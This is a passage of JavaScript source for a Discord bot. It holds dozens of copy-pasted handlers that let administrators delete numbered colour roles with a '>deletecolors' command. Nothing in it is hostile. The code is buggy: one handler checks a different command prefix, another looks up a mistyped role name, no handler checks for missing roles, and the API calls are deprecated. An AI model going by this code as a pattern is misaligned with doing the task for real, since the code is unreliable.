  3394. color: "#040000",
  3395. permissions: []
  3396. })
  3397.  
  3398.  
  3399. message.channel.sendMessage({embed: new Discord.RichEmbed()
  3400. .setColor('#502faf').setAuthor(`${message.author.username}'`, message.author.avatarURL).setDescription('``Colors Has Been Created``')});
  3401. }
  3402.  
  3403.  
  3404.  
  3405.  
  3406. client.on('message', async message => {
  3407.  
  3408. let args = message.content.split(' ').slice(1);
  3409. if (message.content.startsWith(">deletecolors")) {
  3410. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3411. let role = message.guild.roles.find('name', '1');
  3412.  
  3413. role.delete()
  3414. }
  3415.  
  3416. });
  3417. client.on('message', async message => {
  3418.  
  3419. let args = message.content.split(' ').slice(1);
  3420. if (message.content.startsWith(">deletecolors")) {
  3421. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3422. let role = message.guild.roles.find('name', '2');
  3423.  
  3424. role.delete()
  3425. }
  3426.  
  3427. });
  3428.  
  3429. client.on('message', async message => {
  3430.  
  3431. let args = message.content.split(' ').slice(1);
  3432. if (message.content.startsWith(">deletecolors")) {
  3433. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3434. let role = message.guild.roles.find('name', '3');
  3435.  
  3436. role.delete()
  3437. }
  3438.  
  3439. });
  3440. client.on('message', async message => {
  3441.  
  3442. let args = message.content.split(' ').slice(1);
  3443. if (message.content.startsWith(">deletecolors")) {
  3444. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3445. let role = message.guild.roles.find('name', '4');
  3446.  
  3447. role.delete()
  3448. }
  3449.  
  3450. });
  3451.  
  3452. client.on('message', async message => {
  3453.  
  3454. let args = message.content.split(' ').slice(1);
  3455. if (message.content.startsWith(">deletecolors")) {
  3456. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3457. let role = message.guild.roles.find('name', '5');
  3458.  
  3459. role.delete()
  3460. }
  3461.  
  3462. });
  3463.  
  3464. client.on('message', async message => {
  3465.  
  3466. let args = message.content.split(' ').slice(1);
  3467. if (message.content.startsWith(">deletecolors")) {
  3468. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3469. let role = message.guild.roles.find('name', '6');
  3470.  
  3471. role.delete()
  3472. }
  3473.  
  3474. });
  3475.  
  3476. client.on('message', async message => {
  3477.  
  3478. let args = message.content.split(' ').slice(1);
  3479. if (message.content.startsWith(">deletecolors")) {
  3480. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3481. let role = message.guild.roles.find('name', '7');
  3482.  
  3483. role.delete()
  3484. }
  3485.  
  3486. });
  3487.  
  3488. client.on('message', async message => {
  3489.  
  3490. let args = message.content.split(' ').slice(1);
  3491. if (message.content.startsWith(">deletecolors")) {
  3492. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3493. let role = message.guild.roles.find('name', '8');
  3494.  
  3495. role.delete()
  3496. }
  3497.  
  3498. });
  3499.  
  3500. client.on('message', async message => {
  3501.  
  3502. let args = message.content.split(' ').slice(1);
  3503. if (message.content.startsWith(">deletecolors")) {
  3504. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3505. let role = message.guild.roles.find('name', '9');
  3506.  
  3507. role.delete()
  3508. }
  3509.  
  3510. });
  3511.  
  3512. client.on('message', async message => {
  3513.  
  3514. let args = message.content.split(' ').slice(1);
  3515. if (message.content.startsWith(">deletecolors")) {
  3516. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3517. let role = message.guild.roles.find('name', '10');
  3518.  
  3519. role.delete()
  3520. }
  3521.  
  3522. });
  3523.  
  3524. client.on('message', async message => {
  3525.  
  3526. let args = message.content.split(' ').slice(1);
  3527. if (message.content.startsWith(">deletecolors")) {
  3528. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3529. let role = message.guild.roles.find('name', '11');
  3530.  
  3531. role.delete()
  3532. }
  3533.  
  3534. });
  3535.  
  3536. client.on('message', async message => {
  3537.  
  3538. let args = message.content.split(' ').slice(1);
  3539. if (message.content.startsWith(">deletecolors")) {
  3540. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3541. let role = message.guild.roles.find('name', '12');
  3542.  
  3543. role.delete()
  3544. }
  3545.  
  3546. });
  3547.  
  3548. client.on('message', async message => {
  3549.  
  3550. let args = message.content.split(' ').slice(1);
  3551. if (message.content.startsWith(">deletecolors")) {
  3552. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3553. let role = message.guild.roles.find('name', '13');
  3554.  
  3555. role.delete()
  3556. }
  3557.  
  3558. });
  3559.  
  3560. client.on('message', async message => {
  3561.  
  3562. let args = message.content.split(' ').slice(1);
  3563. if (message.content.startsWith(">deletecolors")) {
  3564. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3565. let role = message.guild.roles.find('name', '14');
  3566.  
  3567. role.delete()
  3568. }
  3569.  
  3570. });
  3571.  
  3572. client.on('message', async message => {
  3573.  
  3574. let args = message.content.split(' ').slice(1);
  3575. if (message.content.startsWith(">deletecolors")) {
  3576. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3577. let role = message.guild.roles.find('name', '15');
  3578.  
  3579. role.delete()
  3580. }
  3581.  
  3582. });
  3583.  
  3584. client.on('message', async message => {
  3585.  
  3586. let args = message.content.split(' ').slice(1);
  3587. if (message.content.startsWith(">deletecolors")) {
  3588. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3589. let role = message.guild.roles.find('name', '16');
  3590.  
  3591. role.delete()
  3592. }
  3593.  
  3594. });
  3595.  
  3596. client.on('message', async message => {
  3597.  
  3598. let args = message.content.split(' ').slice(1);
  3599. if (message.content.startsWith(">deletecolors")) {
  3600. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3601. let role = message.guild.roles.find('name', '17');
  3602.  
  3603. role.delete()
  3604. }
  3605.  
  3606. });
  3607.  
  3608.  
  3609.  
  3610. client.on('message', async message => {
  3611.  
  3612. let args = message.content.split(' ').slice(1);
  3613. if (message.content.startsWith(">deletecolors")) {
  3614. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3615. let role = message.guild.roles.find('name', '18');
  3616.  
  3617. role.delete()
  3618. }
  3619.  
  3620. });
  3621.  
  3622. client.on('message', async message => {
  3623.  
  3624. let args = message.content.split(' ').slice(1);
  3625. if (message.content.startsWith(">deletecolors")) {
  3626. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3627. let role = message.guild.roles.find('name', '19');
  3628.  
  3629. role.delete()
  3630. }
  3631.  
  3632. });
  3633.  
  3634. client.on('message', async message => {
  3635.  
  3636. let args = message.content.split(' ').slice(1);
  3637. if (message.content.startsWith(">deletecolors")) {
  3638. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3639. let role = message.guild.roles.find('name', '20');
  3640.  
  3641. role.delete()
  3642. }
  3643.  
  3644. });
  3645. client.on('message', async message => {
  3646.  
  3647. let args = message.content.split(' ').slice(1);
  3648. if (message.content.startsWith("+!deletecolors")) {
  3649. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3650. let role = message.guild.roles.find('name', '21');
  3651.  
  3652. role.delete()
  3653. }
  3654.  
  3655. });
  3656.  
  3657. client.on('message', async message => {
  3658.  
  3659. let args = message.content.split(' ').slice(1);
  3660. if (message.content.startsWith(">deletecolors")) {
  3661. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3662. let role = message.guild.roles.find('name', '22');
  3663.  
  3664. role.delete()
  3665. }
  3666.  
  3667. });
  3668.  
  3669. client.on('message', async message => {
  3670.  
  3671. let args = message.content.split(' ').slice(1);
  3672. if (message.content.startsWith(">deletecolors")) {
  3673. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3674. let role = message.guild.roles.find('name', '23');
  3675.  
  3676. role.delete()
  3677. }
  3678.  
  3679. });
  3680.  
  3681.  
  3682.  
  3683. client.on('message', async message => {
  3684.  
  3685. let args = message.content.split(' ').slice(1);
  3686. if (message.content.startsWith(">deletecolors")) {
  3687. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3688. let role = message.guild.roles.find('name', '24');
  3689.  
  3690. role.delete()
  3691. }
  3692.  
  3693. });
  3694.  
  3695.  
  3696.  
  3697. client.on('message', async message => {
  3698.  
  3699. let args = message.content.split(' ').slice(1);
  3700. if (message.content.startsWith(">deletecolors")) {
  3701. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3702. let role = message.guild.roles.find('name', '25');
  3703.  
  3704. role.delete()
  3705. }
  3706.  
  3707. });
  3708.  
  3709.  
  3710.  
  3711. client.on('message', async message => {
  3712.  
  3713. let args = message.content.split(' ').slice(1);
  3714. if (message.content.startsWith(">deletecolors")) {
  3715. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3716. let role = message.guild.roles.find('name', '26');
  3717.  
  3718. role.delete()
  3719. }
  3720.  
  3721. });
  3722.  
  3723.  
  3724. client.on('message', async message => {
  3725.  
  3726. let args = message.content.split(' ').slice(1);
  3727. if (message.content.startsWith(">deletecolors")) {
  3728. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3729. let role = message.guild.roles.find('name', '27');
  3730.  
  3731. role.delete()
  3732. }
  3733.  
  3734. });
  3735.  
  3736. client.on('message', async message => {
  3737.  
  3738. let args = message.content.split(' ').slice(1);
  3739. if (message.content.startsWith(">deletecolors")) {
  3740. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3741. let role = message.guild.roles.find('name', '28');
  3742.  
  3743. role.delete()
  3744. }
  3745.  
  3746. });
  3747.  
  3748.  
  3749. client.on('message', async message => {
  3750.  
  3751. let args = message.content.split(' ').slice(1);
  3752. if (message.content.startsWith(">deletecolors")) {
  3753. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3754. let role = message.guild.roles.find('name', '29');
  3755.  
  3756. role.delete()
  3757. }
  3758.  
  3759. });
  3760.  
  3761.  
  3762. client.on('message', async message => {
  3763.  
  3764. let args = message.content.split(' ').slice(1);
  3765. if (message.content.startsWith(">deletecolors")) {
  3766. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3767. let role = message.guild.roles.find('name', '30');
  3768.  
  3769. role.delete()
  3770. }
  3771.  
  3772. });
  3773.  
  3774.  
  3775. client.on('message', async message => {
  3776.  
  3777. let args = message.content.split(' ').slice(1);
  3778. if (message.content.startsWith(">deletecolors")) {
  3779. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3780. let role = message.guild.roles.find('name', '31');
  3781.  
  3782. role.delete()
  3783. }
  3784.  
  3785. });
  3786.  
  3787. client.on('message', async message => {
  3788.  
  3789. let args = message.content.split(' ').slice(1);
  3790. if (message.content.startsWith(">deletecolors")) {
  3791. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3792. let role = message.guild.roles.find('name', '32');
  3793.  
  3794. role.delete()
  3795. }
  3796.  
  3797. });
  3798.  
  3799.  
  3800. client.on('message', async message => {
  3801.  
  3802. let args = message.content.split(' ').slice(1);
  3803. if (message.content.startsWith(">deletecolors")) {
  3804. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3805. let role = message.guild.roles.find('name', '33');
  3806.  
  3807. role.delete()
  3808. }
  3809.  
  3810. });
  3811.  
  3812. client.on('message', async message => {
  3813.  
  3814. let args = message.content.split(' ').slice(1);
  3815. if (message.content.startsWith(">deletecolors")) {
  3816. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3817. let role = message.guild.roles.find('name', '34');
  3818.  
  3819. role.delete()
  3820. }
  3821.  
  3822. });
  3823.  
  3824.  
  3825. client.on('message', async message => {
  3826.  
  3827. let args = message.content.split(' ').slice(1);
  3828. if (message.content.startsWith(">deletecolors")) {
  3829. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3830. let role = message.guild.roles.find('name', '35');
  3831.  
  3832. role.delete()
  3833. }
  3834.  
  3835. });
  3836.  
  3837. client.on('message', async message => {
  3838.  
  3839. let args = message.content.split(' ').slice(1);
  3840. if (message.content.startsWith(">deletecolors")) {
  3841. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3842. let role = message.guild.roles.find('name', '36');
  3843.  
  3844. role.delete()
  3845. }
  3846.  
  3847. });
  3848.  
  3849. client.on('message', async message => {
  3850.  
  3851. let args = message.content.split(' ').slice(1);
  3852. if (message.content.startsWith(">deletecolors")) {
  3853. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3854. let role = message.guild.roles.find('name', '37');
  3855.  
  3856. role.delete()
  3857. }
  3858.  
  3859. });
  3860.  
  3861. client.on('message', async message => {
  3862.  
  3863. let args = message.content.split(' ').slice(1);
  3864. if (message.content.startsWith(">deletecolors")) {
  3865. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3866. let role = message.guild.roles.find('name', '38');
  3867.  
  3868. role.delete()
  3869. }
  3870.  
  3871. });
  3872.  
  3873. client.on('message', async message => {
  3874.  
  3875. let args = message.content.split(' ').slice(1);
  3876. if (message.content.startsWith(">deletecolors")) {
  3877. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3878. let role = message.guild.roles.find('name', '39');
  3879.  
  3880. role.delete()
  3881. }
  3882.  
  3883. });
  3884.  
  3885. client.on('message', async message => {
  3886.  
  3887. let args = message.content.split(' ').slice(1);
  3888. if (message.content.startsWith(">deletecolors")) {
  3889. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3890. let role = message.guild.roles.find('name', '40');
  3891.  
  3892. role.delete()
  3893. }
  3894.  
  3895. });
  3896.  
  3897. client.on('message', async message => {
  3898.  
  3899. let args = message.content.split(' ').slice(1);
  3900. if (message.content.startsWith(">deletecolors")) {
  3901. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3902. let role = message.guild.roles.find('name', '41');
  3903.  
  3904. role.delete()
  3905. }
  3906.  
  3907. });
  3908.  
  3909. client.on('message', async message => {
  3910.  
  3911. let args = message.content.split(' ').slice(1);
  3912. if (message.content.startsWith(">deletecolors")) {
  3913. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3914. let role = message.guild.roles.find('name', '42');
  3915.  
  3916. role.delete()
  3917. }
  3918.  
  3919. });
  3920.  
  3921. client.on('message', async message => {
  3922.  
  3923. let args = message.content.split(' ').slice(1);
  3924. if (message.content.startsWith(">deletecolors")) {
  3925. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3926. let role = message.guild.roles.find('name', '43');
  3927.  
  3928. role.delete()
  3929. }
  3930.  
  3931. });
  3932.  
  3933. client.on('message', async message => {
  3934.  
  3935. let args = message.content.split(' ').slice(1);
  3936. if (message.content.startsWith(">deletecolors")) {
  3937. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3938. let role = message.guild.roles.find('name', '44');
  3939.  
  3940. role.delete()
  3941. }
  3942.  
  3943. });
  3944.  
  3945. client.on('message', async message => {
  3946.  
  3947. let args = message.content.split(' ').slice(1);
  3948. if (message.content.startsWith(">deletecolors")) {
  3949. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3950. let role = message.guild.roles.find('name', '45');
  3951.  
  3952. role.delete()
  3953. }
  3954.  
  3955. });
  3956.  
  3957. client.on('message', async message => {
  3958.  
  3959. let args = message.content.split(' ').slice(1);
  3960. if (message.content.startsWith(">deletecolors")) {
  3961. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3962. let role = message.guild.roles.find('name', '46');
  3963.  
  3964. role.delete()
  3965. }
  3966.  
  3967. });
  3968.  
  3969. client.on('message', async message => {
  3970.  
  3971. let args = message.content.split(' ').slice(1);
  3972. if (message.content.startsWith(">deletecolors")) {
  3973. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3974. let role = message.guild.roles.find('name', '47');
  3975.  
  3976. role.delete()
  3977. }
  3978.  
  3979. });
  3980.  
  3981. client.on('message', async message => {
  3982.  
  3983. let args = message.content.split(' ').slice(1);
  3984. if (message.content.startsWith(">deletecolors")) {
  3985. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3986. let role = message.guild.roles.find('name', '48');
  3987.  
  3988. role.delete()
  3989. }
  3990.  
  3991. });
  3992.  
  3993. client.on('message', async message => {
  3994.  
  3995. let args = message.content.split(' ').slice(1);
  3996. if (message.content.startsWith(">deletecolors")) {
  3997. if(!message.member.hasPermission('ADMINISTRATOR')) return
  3998. let role = message.guild.roles.find('name', '49');
  3999.  
  4000. role.delete()
  4001. }
  4002.  
  4003. });
  4004.  
  4005. client.on('message', async message => {
  4006.  
  4007. let args = message.content.split(' ').slice(1);
  4008. if (message.content.startsWith(">deletecolors")) {
  4009. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4010. let role = message.guild.roles.find('name', '50');
  4011.  
  4012. role.delete()
  4013. }
  4014.  
  4015. });
  4016. client.on('message', async message => {
  4017.  
  4018. let args = message.content.split(' ').slice(1);
  4019. if (message.content.startsWith(">deletecolors")) {
  4020. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4021. let role = message.guild.roles.find('name', '51');
  4022.  
  4023. role.delete()
  4024. }
  4025.  
  4026. });
  4027. client.on('message', async message => {
  4028.  
  4029. let args = message.content.split(' ').slice(1);
  4030. if (message.content.startsWith(">deletecolors")) {
  4031. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4032. let role = message.guild.roles.find('name', '52');
  4033.  
  4034. role.delete()
  4035. }
  4036.  
  4037. });
  4038. client.on('message', async message => {
  4039.  
  4040. let args = message.content.split(' ').slice(1);
  4041. if (message.content.startsWith(">deletecolors")) {
  4042. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4043. let role = message.guild.roles.find('name', '53');
  4044.  
  4045. role.delete()
  4046. }
  4047.  
  4048. });
  4049. client.on('message', async message => {
  4050.  
  4051. let args = message.content.split(' ').slice(1);
  4052. if (message.content.startsWith(">deletecolors")) {
  4053. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4054. let role = message.guild.roles.find('name', '54');
  4055.  
  4056. role.delete()
  4057. }
  4058.  
  4059. });
  4060. client.on('message', async message => {
  4061.  
  4062. let args = message.content.split(' ').slice(1);
  4063. if (message.content.startsWith(">deletecolors")) {
  4064. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4065. let role = message.guild.roles.find('name', '55');
  4066.  
  4067. role.delete()
  4068. }
  4069.  
  4070. });
  4071. client.on('message', async message => {
  4072.  
  4073. let args = message.content.split(' ').slice(1);
  4074. if (message.content.startsWith(">deletecolors")) {
  4075. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4076. let role = message.guild.roles.find('name', '56');
  4077.  
  4078. role.delete()
  4079. }
  4080.  
  4081. });
  4082. client.on('message', async message => {
  4083.  
  4084. let args = message.content.split(' ').slice(1);
  4085. if (message.content.startsWith(">deletecolors")) {
  4086. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4087. let role = message.guild.roles.find('name', '57');
  4088.  
  4089. role.delete()
  4090. }
  4091.  
  4092. });
  4093. client.on('message', async message => {
  4094.  
  4095. let args = message.content.split(' ').slice(1);
  4096. if (message.content.startsWith(">deletecolors")) {
  4097. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4098. let role = message.guild.roles.find('name', '58');
  4099.  
  4100. role.delete()
  4101. }
  4102.  
  4103. });
  4104. client.on('message', async message => {
  4105.  
  4106. let args = message.content.split(' ').slice(1);
  4107. if (message.content.startsWith(">deletecolors")) {
  4108. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4109. let role = message.guild.roles.find('name', '59');
  4110.  
  4111. role.delete()
  4112. }
  4113.  
  4114. });
  4115. client.on('message', async message => {
  4116.  
  4117. let args = message.content.split(' ').slice(1);
  4118. if (message.content.startsWith(">deletecolors")) {
  4119. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4120. let role = message.guild.roles.find('name', '60');
  4121.  
  4122. role.delete()
  4123. }
  4124.  
  4125. });
  4126. client.on('message', async message => {
  4127.  
  4128. let args = message.content.split(' ').slice(1);
  4129. if (message.content.startsWith(">deletecolors")) {
  4130. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4131. let role = message.guild.roles.find('name', '-61');
  4132.  
  4133. role.delete()
  4134. }
  4135.  
  4136. });
  4137. client.on('message', async message => {
  4138.  
  4139. let args = message.content.split(' ').slice(1);
  4140. if (message.content.startsWith(">deletecolors")) {
  4141. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4142. let role = message.guild.roles.find('name', '62');
  4143.  
  4144. role.delete()
  4145. }
  4146.  
  4147. });
  4148. client.on('message', async message => {
  4149.  
  4150. let args = message.content.split(' ').slice(1);
  4151. if (message.content.startsWith(">deletecolors")) {
  4152. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4153. let role = message.guild.roles.find('name', '63');
  4154.  
  4155. role.delete()
  4156. }
  4157.  
  4158. });
  4159. client.on('message', async message => {
  4160.  
  4161. let args = message.content.split(' ').slice(1);
  4162. if (message.content.startsWith(">deletecolors")) {
  4163. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4164. let role = message.guild.roles.find('name', '64');
  4165.  
  4166. role.delete()
  4167. }
  4168.  
  4169. });
  4170. client.on('message', async message => {
  4171.  
  4172. let args = message.content.split(' ').slice(1);
  4173. if (message.content.startsWith(">deletecolors")) {
  4174. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4175. let role = message.guild.roles.find('name', '65');
  4176.  
  4177. role.delete()
  4178. }
  4179.  
  4180. });
  4181. client.on('message', async message => {
  4182.  
  4183. let args = message.content.split(' ').slice(1);
  4184. if (message.content.startsWith(">deletecolors")) {
  4185. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4186. let role = message.guild.roles.find('name', '66');
  4187.  
  4188. role.delete()
  4189. }
  4190.  
  4191. });
  4192. client.on('message', async message => {
  4193.  
  4194. let args = message.content.split(' ').slice(1);
  4195. if (message.content.startsWith(">deletecolors")) {
  4196. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4197. let role = message.guild.roles.find('name', '67');
  4198.  
  4199. role.delete()
  4200. }
  4201.  
  4202. });
  4203. client.on('message', async message => {
  4204.  
  4205. let args = message.content.split(' ').slice(1);
  4206. if (message.content.startsWith(">deletecolors")) {
  4207. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4208. let role = message.guild.roles.find('name', '68');
  4209.  
  4210. role.delete()
  4211. }
  4212.  
  4213. });
  4214. client.on('message', async message => {
  4215.  
  4216. let args = message.content.split(' ').slice(1);
  4217. if (message.content.startsWith(">deletecolors")) {
  4218. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4219. let role = message.guild.roles.find('name', '69');
  4220.  
  4221. role.delete()
  4222. }
  4223.  
  4224. });
  4225. client.on('message', async message => {
  4226.  
  4227. let args = message.content.split(' ').slice(1);
  4228. if (message.content.startsWith(">deletecolors")) {
  4229. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4230. let role = message.guild.roles.find('name', '70');
  4231.  
  4232. role.delete()
  4233. }
  4234.  
  4235. });
  4236.  
  4237. client.on('message', async message => {
  4238.  
  4239. let args = message.content.split(' ').slice(1);
  4240. if (message.content.startsWith(">deletecolors")) {
  4241. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4242. let role = message.guild.roles.find('name', '71');
  4243.  
  4244. role.delete()
  4245. }
  4246.  
  4247. });
  4248.  
  4249. client.on('message', async message => {
  4250.  
  4251. let args = message.content.split(' ').slice(1);
  4252. if (message.content.startsWith(">deletecolors")) {
  4253. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4254. let role = message.guild.roles.find('name', '72');
  4255.  
  4256. role.delete()
  4257. }
  4258.  
  4259. });
  4260.  
  4261. client.on('message', async message => {
  4262.  
  4263. let args = message.content.split(' ').slice(1);
  4264. if (message.content.startsWith(">deletecolors")) {
  4265. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4266. let role = message.guild.roles.find('name', '73');
  4267.  
  4268. role.delete()
  4269. }
  4270.  
  4271. });
  4272.  
  4273. client.on('message', async message => {
  4274.  
  4275. let args = message.content.split(' ').slice(1);
  4276. if (message.content.startsWith(">deletecolors")) {
  4277. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4278. let role = message.guild.roles.find('name', '74');
  4279.  
  4280. role.delete()
  4281. }
  4282.  
  4283. });
  4284.  
  4285. client.on('message', async message => {
  4286.  
  4287. let args = message.content.split(' ').slice(1);
  4288. if (message.content.startsWith(">deletecolors")) {
  4289. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4290. let role = message.guild.roles.find('name', '75');
  4291.  
  4292. role.delete()
  4293. }
  4294.  
  4295. });
  4296.  
  4297. client.on('message', async message => {
  4298.  
  4299. let args = message.content.split(' ').slice(1);
  4300. if (message.content.startsWith(">deletecolors")) {
  4301. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4302. let role = message.guild.roles.find('name', '76');
  4303.  
  4304. role.delete()
  4305. }
  4306.  
  4307. });
  4308.  
  4309. client.on('message', async message => {
  4310.  
  4311. let args = message.content.split(' ').slice(1);
  4312. if (message.content.startsWith(">deletecolors")) {
  4313. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4314. let role = message.guild.roles.find('name', '77');
  4315.  
  4316. role.delete()
  4317. }
  4318.  
  4319. });
  4320.  
  4321. client.on('message', async message => {
  4322.  
  4323. let args = message.content.split(' ').slice(1);
  4324. if (message.content.startsWith(">deletecolors")) {
  4325. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4326. let role = message.guild.roles.find('name', '78');
  4327.  
  4328. role.delete()
  4329. }
  4330.  
  4331. });
  4332.  
  4333. client.on('message', async message => {
  4334.  
  4335. let args = message.content.split(' ').slice(1);
  4336. if (message.content.startsWith(">deletecolors")) {
  4337. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4338. let role = message.guild.roles.find('name', '79');
  4339.  
  4340. role.delete()
  4341. }
  4342.  
  4343. });
  4344.  
  4345. client.on('message', async message => {
  4346.  
  4347. let args = message.content.split(' ').slice(1);
  4348. if (message.content.startsWith(">deletecolors")) {
  4349. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4350. let role = message.guild.roles.find('name', '80');
  4351.  
  4352. role.delete()
  4353. }
  4354.  
  4355. });
  4356.  
  4357. client.on('message', async message => {
  4358.  
  4359. let args = message.content.split(' ').slice(1);
  4360. if (message.content.startsWith(">deletecolors")) {
  4361. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4362. let role = message.guild.roles.find('name', '81');
  4363.  
  4364. role.delete()
  4365. }
  4366.  
  4367. });
  4368.  
  4369. client.on('message', async message => {
  4370.  
  4371. let args = message.content.split(' ').slice(1);
  4372. if (message.content.startsWith(">deletecolors")) {
  4373. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4374. let role = message.guild.roles.find('name', '82');
  4375.  
  4376. role.delete()
  4377. }
  4378.  
  4379. });
  4380.  
  4381. client.on('message', async message => {
  4382.  
  4383. let args = message.content.split(' ').slice(1);
  4384. if (message.content.startsWith(">deletecolors")) {
  4385. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4386. let role = message.guild.roles.find('name', '83');
  4387.  
  4388. role.delete()
  4389. }
  4390.  
  4391. });
  4392.  
  4393. client.on('message', async message => {
  4394.  
  4395. let args = message.content.split(' ').slice(1);
  4396. if (message.content.startsWith(">deletecolors")) {
  4397. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4398. let role = message.guild.roles.find('name', '84');
  4399.  
  4400. role.delete()
  4401. }
  4402.  
  4403. });
  4404.  
  4405. client.on('message', async message => {
  4406.  
  4407. let args = message.content.split(' ').slice(1);
  4408. if (message.content.startsWith(">deletecolors")) {
  4409. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4410. let role = message.guild.roles.find('name', '85');
  4411.  
  4412. role.delete()
  4413. }
  4414.  
  4415. });
  4416.  
  4417. client.on('message', async message => {
  4418.  
  4419. let args = message.content.split(' ').slice(1);
  4420. if (message.content.startsWith(">deletecolors")) {
  4421. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4422. let role = message.guild.roles.find('name', '86');
  4423.  
  4424. role.delete()
  4425. }
  4426.  
  4427. });
  4428.  
  4429. client.on('message', async message => {
  4430.  
  4431. let args = message.content.split(' ').slice(1);
  4432. if (message.content.startsWith(">deletecolors")) {
  4433. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4434. let role = message.guild.roles.find('name', '87');
  4435.  
  4436. role.delete()
  4437. }
  4438.  
  4439. });
  4440.  
  4441. client.on('message', async message => {
  4442.  
  4443. let args = message.content.split(' ').slice(1);
  4444. if (message.content.startsWith(">deletecolors")) {
  4445. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4446. let role = message.guild.roles.find('name', '88');
  4447.  
  4448. role.delete()
  4449. }
  4450.  
  4451. });
  4452.  
  4453. client.on('message', async message => {
  4454.  
  4455. let args = message.content.split(' ').slice(1);
  4456. if (message.content.startsWith(">deletecolors")) {
  4457. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4458. let role = message.guild.roles.find('name', '89');
  4459.  
  4460. role.delete()
  4461. }
  4462.  
  4463. });
  4464.  
  4465. client.on('message', async message => {
  4466.  
  4467. let args = message.content.split(' ').slice(1);
  4468. if (message.content.startsWith(">deletecolors")) {
  4469. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4470. let role = message.guild.roles.find('name', '90');
  4471.  
  4472. role.delete()
  4473. }
  4474.  
  4475. });
  4476.  
  4477. client.on('message', async message => {
  4478.  
  4479. let args = message.content.split(' ').slice(1);
  4480. if (message.content.startsWith(">deletecolors")) {
  4481. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4482. let role = message.guild.roles.find('name', '91');
  4483.  
  4484. role.delete()
  4485. }
  4486.  
  4487. });
  4488.  
  4489. client.on('message', async message => {
  4490.  
  4491. let args = message.content.split(' ').slice(1);
  4492. if (message.content.startsWith(">deletecolors")) {
  4493. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4494. let role = message.guild.roles.find('name', '92');
  4495.  
  4496. role.delete()
  4497. }
